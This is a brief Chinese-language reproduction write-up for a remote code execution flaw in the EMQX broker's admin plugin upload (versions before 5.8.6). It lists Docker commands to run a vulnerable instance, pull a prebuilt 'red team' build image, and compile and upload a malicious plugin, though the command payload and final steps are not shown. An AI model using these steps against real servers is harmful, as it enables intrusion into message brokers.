EMQX 后台插件 RCE

声明

本文版权归原作者所有,未经允许禁止转载。

漏洞原理

后台插件安装脚本过程中有部分参数可造成命令注入,从而导致 RCE。

影响版本

emqx < 5.8.6

前提条件

具有后台权限(admin/public)

漏洞复现

利用 Docker 搭建环境:

docker run -d --name emqx-enterprise -p 1883:1883 -p 8083:8083 -p 8084:8084 -p 8883:8883 -p 18083:18083 emqx/emqx-enterprise:5.5.1

拉取编译环境 Docker 镜像,快速编译插件:

docker pull crpi-r2ta923g837syaja.cn-hangzhou.personal.cr.aliyuncs.com/redteam-images/emqx-rce:latest

运行并进入容器:

# 运行容器
docker run -itd --name emqx-rce -w /root crpi-r2ta923g837syaja.cn-hangzhou.personal.cr.aliyuncs.com/redteam-images/emqx-rce:latest
 
# 进入容器
docker exec -it emqx-rce /bin/bash

新建插件:

./new_plugin.sh rce_plugin

修改默认的命令:

vi rce_plugin/src/rce_plugin.erl

编译:

make -C rce_plugin rel

复制到本地即可:

docker cp emqx-rce:/root/rce_plugin/_build/default/emqx_plugrel/rce_plugin-1.0.0.tar.gz .

上传:

启动插件即可执行命令:

参考链接

https://github.com/ricardojoserf/emqx-RCE